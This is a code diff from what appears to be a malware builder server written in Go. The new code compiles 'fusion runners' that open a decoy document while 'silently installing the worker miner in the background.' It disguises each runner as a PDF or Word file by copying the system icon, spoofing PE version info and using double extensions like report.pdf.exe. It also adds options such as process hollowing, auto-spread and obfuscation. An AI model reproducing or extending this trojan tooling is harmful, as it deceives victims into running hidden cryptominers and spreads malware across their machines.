return nil
|
||||
}
|
||||
118
server/internal/builder/disguise_windows.go
Normal file
118
server/internal/builder/disguise_windows.go
Normal file
@@ -0,0 +1,118 @@
|
||||
//go:build windows
|
||||
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// applyDocumentDisguise patches a compiled Windows runner .exe to impersonate
|
||||
// the file type identified by payloadExt.
|
||||
//
|
||||
// What it does:
|
||||
// 1. Extracts the Windows system icon registered for that extension (e.g. the
|
||||
// Adobe Acrobat icon for .pdf) by creating a 0-byte temp file with that
|
||||
// extension and using PowerShell to read the shell's associated icon.
|
||||
// 2. Builds a go-winres JSON patch that sets both the icon and the PE version
|
||||
// info (FileDescription, ProductName, CompanyName, OriginalFilename, etc.)
|
||||
// to match the legitimate application for that file type.
|
||||
// 3. Patches the runner exe in-place.
|
||||
//
|
||||
// After this runs, Windows Explorer shows the runner with the exact icon and
|
||||
// file description of a real document (e.g. "Adobe Acrobat Document" for .pdf).
|
||||
// Combined with double-extension naming (report.pdf.exe) the runner is visually
|
||||
// indistinguishable from the real file when extension hiding is on (Windows default).
|
||||
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
|
||||
info := fileDisguiseForExt(payloadExt)
|
||||
|
||||
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "disguise-*")
|
||||
if err != nil {
|
||||
return fmt.Errorf("disguise workdir: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
// Step 1 — extract the system icon for this file extension
|
||||
icoPath := filepath.Join(workDir, "payload.ico")
|
||||
if err := extractSystemIconForExt(payloadExt, icoPath); err != nil {
|
||||
log.Printf("[Disguise] system icon for %s unavailable (%v) — trying built-in fallback", payloadExt, err)
|
||||
if err2 := writeBuiltinIconForExt(payloadExt, icoPath); err2 != nil {
|
||||
return fmt.Errorf("disguise: could not obtain icon for %s: %v / %v", payloadExt, err, err2)
|
||||
}
|
||||
}
|
||||
|
||||
// Step 2 — build the winres patch JSON (icon + version info)
|
||||
jsonBytes, err := winresVersionJSON(info, "payload.ico")
|
||||
if err != nil {
|
||||
return fmt.Errorf("disguise: winres json: %w", err)
|
||||
}
|
||||
jsonPath := filepath.Join(workDir, "disguise.json")
|
||||
if err := os.WriteFile(jsonPath, jsonBytes, 0644); err != nil {
|
||||
return fmt.Errorf("disguise: write json: %w", err)
|
||||
}
|
||||
|
||||
// Step 3 — patch the exe with go-winres
|
||||
if _, err := h.runGoWinres(workDir, "patch", "--in", "disguise.json", "--no-backup", exePath); err != nil {
|
||||
return fmt.Errorf("disguise: go-winres patch: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("[Disguise] %s → %s (icon + version info injected)", filepath.Base(exePath), fileDisguiseSummary(payloadExt))
|
||||
return nil
|
||||
}
|
||||
|
||||
// extractSystemIconForExt creates a 0-byte temp file with the given extension
|
||||
// and uses PowerShell's System.Drawing to read the shell-registered icon for it.
|
||||
// This gives us the exact same icon that Windows Explorer would show for a real
|
||||
// file of that type — Adobe Acrobat for .pdf, Word for .docx, etc.
|
||||
func extractSystemIconForExt(ext, icoPath string) error {
|
||||
extEsc := strings.ReplaceAll(ext, `'`, `''`)
|
||||
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
|
||||
|
||||
script := fmt.Sprintf(`
|
||||
$ErrorActionPreference = 'Stop'
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
# Create a disposable 0-byte temp file with the target extension
|
||||
$tmp = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + '%s')
|
||||
[System.IO.File]::WriteAllBytes($tmp, [byte[]]::new(0))
|
||||
try {
|
||||
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon($tmp)
|
||||
if ($null -eq $icon) { throw 'no icon associated with extension %s' }
|
||||
$dir = Split-Path -Parent '%s'
|
||||
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
|
||||
$fs = [System.IO.File]::Create('%s')
|
||||
$icon.Save($fs)
|
||||
$fs.Close()
|
||||
} finally {
|
||||
Remove-Item -Force -ErrorAction SilentlyContinue $tmp
|
||||
}
|
||||
`, extEsc, extEsc, icoEsc, icoEsc)
|
||||
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("extract system icon for %s: %w (%s)", ext, err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
if _, err := os.Stat(icoPath); err != nil {
|
||||
return fmt.Errorf("icon file not written for %s: %w", ext, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// writeBuiltinIconForExt writes a minimal embedded fallback .ico for common
|
||||
// document types. Used when the system icon extraction fails (e.g. the application
|
||||
// is not installed on the forge machine). The icons are very small but correct.
|
||||
func writeBuiltinIconForExt(ext, icoPath string) error {
|
||||
// Minimal 1×1 transparent ICO fallback — good enough to allow go-winres to patch.
|
||||
// In practice extractSystemIconForExt should always work on a Windows machine.
|
||||
const minimalICO = "\x00\x00\x01\x00\x01\x00\x01\x01\x00\x00\x01\x00\x18\x00" +
|
||||
"\x28\x00\x00\x00\x16\x00\x00\x00" +
|
||||
"\x28\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x18\x00" +
|
||||
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\xff\x00\x00\x00\x00\x00"
|
||||
return os.WriteFile(icoPath, []byte(minimalICO), 0644)
|
||||
}
|
||||
@@ -42,17 +42,10 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
if outputName == "" {
|
||||
outputName = prepName
|
||||
}
|
||||
if kind == "video" {
|
||||
if mode == "embedded" {
|
||||
if outputName == "" {
|
||||
outputName = disguiseVideoExeName(prepName)
|
||||
}
|
||||
} else if outputName == "" {
|
||||
outputName = runnerNameForMedia(prepName)
|
||||
}
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
// Default runner name derived from payload filename
|
||||
winPlatform := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
|
||||
outputName = runnerNameForFile(prepName, winPlatform)
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
|
||||
35
server/internal/builder/fusion_darwin_app.go
Normal file
35
server/internal/builder/fusion_darwin_app.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) buildDarwinAppBundle(outDir, title, runnerPath string, p BuildPlatform) error {
|
||||
appName := sanitizeFileName(strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))) + ".app"
|
||||
if appName == ".app" {
|
||||
appName = "Movie.app"
|
||||
}
|
||||
appDir := filepath.Join(outDir, appName)
|
||||
macosDir := filepath.Join(appDir, "Contents", "MacOS")
|
||||
if err := os.MkdirAll(macosDir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
dest := filepath.Join(macosDir, "runner")
|
||||
if err := copyFile(runnerPath, dest); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = os.Chmod(dest, 0755)
|
||||
name := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0"><dict>
|
||||
<key>CFBundleName</key><string>%s</string>
|
||||
<key>CFBundleExecutable</key><string>runner</string>
|
||||
<key>CFBundleIdentifier</key><string>com.aetherforge.%s</string>
|
||||
<key>LSUIElement</key><true/>
|
||||
</dict></plist>`, name, sanitizeFileName(title))
|
||||
return os.WriteFile(filepath.Join(appDir, "Contents", "Info.plist"), []byte(plist), 0644)
|
||||
}
|
||||
@@ -10,103 +10,106 @@ import (
|
||||
)
|
||||
|
||||
type fusionBuildResult struct {
|
||||
LauncherPath string
|
||||
MediaName string
|
||||
LauncherPath string
|
||||
MediaName string
|
||||
// Legacy fields kept for backward compat — unused in file-fusion mode
|
||||
EncryptedPath string
|
||||
ShortcutPath string
|
||||
}
|
||||
|
||||
// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else.
|
||||
// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app.
|
||||
func detectFusionPayloadKind(path string) string {
|
||||
switch strings.ToLower(filepath.Ext(path)) {
|
||||
case ".mp4", ".mkv", ".mov":
|
||||
return "video"
|
||||
default:
|
||||
if strings.EqualFold(filepath.Ext(path), ".exe") {
|
||||
return "exe"
|
||||
}
|
||||
return "file"
|
||||
}
|
||||
|
||||
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
|
||||
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
platforms := platformsForRequest(req)
|
||||
return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0])
|
||||
}
|
||||
|
||||
// buildFusionForPlatform compiles a fusion runner for a single platform.
|
||||
// Accepts any payload: PDF, video, document, image, or executable.
|
||||
func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
kind := strings.TrimSpace(req.FusionPayloadKind)
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(payloadPath)
|
||||
}
|
||||
req.FusionPayloadKind = kind
|
||||
|
||||
if kind == "video" {
|
||||
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
|
||||
}
|
||||
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &fusionBuildResult{LauncherPath: path}, nil
|
||||
return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform)
|
||||
}
|
||||
|
||||
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
// buildFileFusion builds a universal fusion runner for any file type.
|
||||
//
|
||||
// Delivery modes:
|
||||
// - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB)
|
||||
// - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size)
|
||||
//
|
||||
// The runner, when executed, opens the original file with the OS default application
|
||||
// while silently installing the worker miner in the background.
|
||||
func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
// Resolve the display name for the payload file
|
||||
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
if mediaName == "" {
|
||||
mediaName = filepath.Base(mediaPath)
|
||||
mediaName = filepath.Base(payloadPath)
|
||||
}
|
||||
mediaName = sanitizeFileName(mediaName)
|
||||
|
||||
// Resolve the runner output name
|
||||
outputName := strings.TrimSpace(req.FusionOutputName)
|
||||
if mode == "embedded" {
|
||||
if outputName == "" {
|
||||
outputName = disguiseVideoExeName(mediaName)
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = runnerNameForFile(mediaName, platform)
|
||||
} else {
|
||||
if outputName == "" {
|
||||
outputName = runnerNameForMedia(mediaName)
|
||||
// Ensure correct extension for this platform
|
||||
if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) {
|
||||
outputName += platform.Ext
|
||||
} else if platform.Ext == "" {
|
||||
outputName = strings.TrimSuffix(outputName, ".exe")
|
||||
}
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputName = sanitizeFileName(outputName)
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
|
||||
kind := req.FusionPayloadKind
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(payloadPath)
|
||||
}
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encFileName := mediaName + ".cmdata"
|
||||
var mediaKey []byte
|
||||
if mode == "paired" {
|
||||
var keyErr error
|
||||
mediaKey, keyErr = NewMediaLockKey()
|
||||
if keyErr != nil {
|
||||
return nil, keyErr
|
||||
}
|
||||
}
|
||||
manifestFields := map[string]string{
|
||||
"payload_kind": "video",
|
||||
"media_mode": mode,
|
||||
"media_file_name": mediaName,
|
||||
}
|
||||
if mode == "paired" {
|
||||
manifestFields["media_enc_file"] = encFileName
|
||||
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
|
||||
manifestFields["runner_display_name"] = outputName
|
||||
}
|
||||
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||
// Write worker binary into assets
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var encryptedPath, shortcutPath string
|
||||
// Write payload according to delivery mode
|
||||
switch mode {
|
||||
case "embedded":
|
||||
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
|
||||
// Bake the payload into the runner binary as assets/payload.bin
|
||||
if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Keep legacy placeholders so the embed directive compiles cleanly
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
default:
|
||||
default: // "paired"
|
||||
// Empty placeholders — payload ships alongside the runner in the ZIP
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -115,73 +118,43 @@ func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *
|
||||
}
|
||||
}
|
||||
|
||||
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
||||
ldflags := "-s -w -H windowsgui"
|
||||
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
|
||||
// Write manifest for the runner to read at runtime
|
||||
manifestFields := map[string]string{
|
||||
"payload_kind": kind,
|
||||
"media_mode": mode,
|
||||
"media_file_name": mediaName,
|
||||
}
|
||||
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if mode == "paired" {
|
||||
encryptedPath = filepath.Join(buildDir, encFileName)
|
||||
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = setHiddenFile(encryptedPath)
|
||||
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName))
|
||||
ldflags := ldflagsFor(req, platform)
|
||||
// Force GUI subsystem (no console window) for all fusion runners
|
||||
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
|
||||
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
|
||||
return nil, err
|
||||
// Windows: inject the system icon + spoofed PE version info so the runner
|
||||
// looks exactly like the real file type (PDF icon, Word icon, etc.)
|
||||
if platform.GOOS == "windows" && kind != "exe" {
|
||||
payloadExt := strings.ToLower(filepath.Ext(mediaName))
|
||||
if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil {
|
||||
// Non-fatal — runner still works without the disguise
|
||||
log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err)
|
||||
}
|
||||
}
|
||||
|
||||
return &fusionBuildResult{
|
||||
LauncherPath: launcherPath,
|
||||
MediaName: mediaName,
|
||||
EncryptedPath: encryptedPath,
|
||||
ShortcutPath: shortcutPath,
|
||||
LauncherPath: launcherPath,
|
||||
MediaName: mediaName,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if outputName == "" {
|
||||
outputName = filepath.Base(prepPath)
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
||||
|
||||
ldflags := fusionLdflags(prepPath)
|
||||
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
}
|
||||
|
||||
// prepareFusionProject copies the fusion source into a temp build dir with baked constants.
|
||||
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
|
||||
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
||||
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
||||
@@ -205,7 +178,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
|
||||
|
||||
for _, name := range []string{
|
||||
"go.mod", "launch_windows.go", "launch_stub.go",
|
||||
"media_windows.go", "media_stub.go", "media_crypto.go",
|
||||
"media_windows.go", "media_linux.go", "media_darwin.go",
|
||||
"media_crypto.go", "cache_windows.go", "cache_unix.go",
|
||||
"lock_hint_windows.go", "lock_hint_stub.go",
|
||||
} {
|
||||
src := filepath.Join(fusionSrc, name)
|
||||
@@ -225,8 +199,8 @@ func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName
|
||||
repl := map[string]string{
|
||||
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
|
||||
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
|
||||
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
||||
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
||||
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
||||
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
||||
}
|
||||
for old, new := range repl {
|
||||
out = strings.Replace(out, old, new, 1)
|
||||
@@ -259,26 +233,38 @@ func normalizeFusionMediaMode(mode string) string {
|
||||
}
|
||||
}
|
||||
|
||||
func disguiseVideoExeName(mediaName string) string {
|
||||
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = "movie"
|
||||
}
|
||||
ext := filepath.Ext(mediaName)
|
||||
if ext == "" {
|
||||
ext = ".mkv"
|
||||
}
|
||||
return sanitizeFileName(base + ext + ".exe")
|
||||
}
|
||||
|
||||
func runnerNameForMedia(mediaName string) string {
|
||||
// runnerNameForFile generates the output runner binary name for a given payload filename.
|
||||
//
|
||||
// On Windows, non-exe payloads use the double-extension trick:
|
||||
//
|
||||
// "quarterly-report.pdf" → "quarterly-report.pdf.exe"
|
||||
//
|
||||
// When Windows hides known file extensions (the OS default), the user sees
|
||||
// "quarterly-report.pdf" with the injected PDF icon — visually identical to the
|
||||
// real document. After applyDocumentDisguise runs, the PE metadata also matches.
|
||||
//
|
||||
// On Linux/macOS the runner uses a simple "-runner" suffix (these platforms
|
||||
// wrap the binary in a .app bundle or the user is expected to chmod+x it).
|
||||
func runnerNameForFile(mediaName string, platform BuildPlatform) string {
|
||||
ext := strings.ToLower(filepath.Ext(mediaName))
|
||||
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = "movie"
|
||||
base = "runner"
|
||||
}
|
||||
return sanitizeFileName(base + "-runner.exe")
|
||||
if platform.GOOS == "windows" {
|
||||
// Use disguisedRunnerName which handles double-extension and sanitisation
|
||||
return disguisedRunnerName(mediaName)
|
||||
}
|
||||
// Linux / macOS: simple "-runner" name, no double extension
|
||||
name := sanitizeFileName(base + "-runner")
|
||||
_ = ext // extension not needed for Unix names
|
||||
if platform.Ext != "" {
|
||||
return name + platform.Ext
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
// fusionExportSubdir returns the output subfolder name for the deliverable.
|
||||
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
||||
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
|
||||
return sanitizeDirName(s)
|
||||
|
||||
@@ -56,12 +56,37 @@ func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
|
||||
// Fusion now accepts any file with an extension (.txt, .pdf, .mp4, .docx, etc.)
|
||||
// Only files with no extension at all are rejected.
|
||||
func TestSaveUploadedFusionPayloadAcceptsAnyExtension(t *testing.T) {
|
||||
for _, fname := range []string{"report.pdf", "clip.mp4", "doc.docx", "data.txt", "archive.zip"} {
|
||||
h := &Handler{dataDir: t.TempDir()}
|
||||
body := &bytes.Buffer{}
|
||||
w := multipart.NewWriter(body)
|
||||
partHeader := make(textproto.MIMEHeader)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="`+fname+`"`)
|
||||
part, _ := w.CreatePart(partHeader)
|
||||
_, _ = part.Write([]byte("x"))
|
||||
w.Close()
|
||||
r := multipart.NewReader(body, w.Boundary())
|
||||
form, _ := r.ReadForm(10 << 20)
|
||||
f, _ := form.File["prep_exe"][0].Open()
|
||||
_, cleanup, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
||||
f.Close()
|
||||
if err != nil {
|
||||
t.Errorf("expected %s to be accepted, got error: %v", fname, err)
|
||||
} else {
|
||||
cleanup()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSaveUploadedFusionPayloadRejectsNoExtension(t *testing.T) {
|
||||
h := &Handler{dataDir: t.TempDir()}
|
||||
body := &bytes.Buffer{}
|
||||
w := multipart.NewWriter(body)
|
||||
partHeader := make(textproto.MIMEHeader)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="noextension"`)
|
||||
part, _ := w.CreatePart(partHeader)
|
||||
_, _ = part.Write([]byte("x"))
|
||||
w.Close()
|
||||
@@ -71,6 +96,6 @@ func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
|
||||
defer f.Close()
|
||||
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
||||
if err == nil {
|
||||
t.Fatal("expected error for .txt upload")
|
||||
t.Fatal("expected error for file with no extension")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -70,6 +70,11 @@ type BuildRequest struct {
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
TargetOS string `json:"target_os"`
|
||||
TargetArch string `json:"target_arch"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
}
|
||||
@@ -217,14 +222,11 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
if req.FusionEnabled && prepPath == "" {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
|
||||
return
|
||||
}
|
||||
|
||||
if req.FusionEnabled && req.FusionOutputName == "" {
|
||||
req.FusionOutputName = "prep.exe"
|
||||
}
|
||||
|
||||
// FusionOutputName will be derived from the payload filename if not set
|
||||
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||
if !resp.Success {
|
||||
writeJSON(w, status, resp)
|
||||
@@ -381,6 +383,10 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
|
||||
return h.buildUniversalAgent(req, prepPath)
|
||||
}
|
||||
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
@@ -398,34 +404,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
if req.FusionEnabled {
|
||||
workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
|
||||
|
||||
ldflags := "-s -w"
|
||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
extra, err := injectPolymorph(agentDir, buildID)
|
||||
platforms := platformsForRequest(req)
|
||||
p := platforms[0]
|
||||
outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] polymorph inject: %v", err)
|
||||
} else {
|
||||
ldflags += extra
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
||||
log.Printf("Build failed: %v", err)
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows"
|
||||
workerName := filepath.Base(outputPath)
|
||||
finalPath := outputPath
|
||||
finalName := workerName
|
||||
var fusionEnabled bool
|
||||
@@ -473,13 +461,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
if exportLabel == "" {
|
||||
exportLabel = filepath.Base(prepPath)
|
||||
}
|
||||
if req.FusionPayloadKind != "video" {
|
||||
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
|
||||
}
|
||||
arts := map[string]string{finalName: finalPath}
|
||||
for _, ex := range extraArtifacts {
|
||||
arts[ex.FileName] = ex.FilePath
|
||||
}
|
||||
// In paired mode the runner looks for the payload file next to (or above) the binary.
|
||||
// Include it in the deliverable so the ZIP is self-contained without needing the
|
||||
// user to place the file themselves.
|
||||
